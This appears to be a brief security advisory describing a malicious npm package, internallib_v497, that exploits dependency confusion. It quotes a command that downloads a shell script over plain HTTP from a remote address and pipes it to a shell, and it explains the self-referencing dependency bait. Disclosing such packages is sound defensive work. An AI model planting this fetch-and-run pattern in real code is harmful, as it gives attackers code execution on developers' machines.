## Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505) npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.
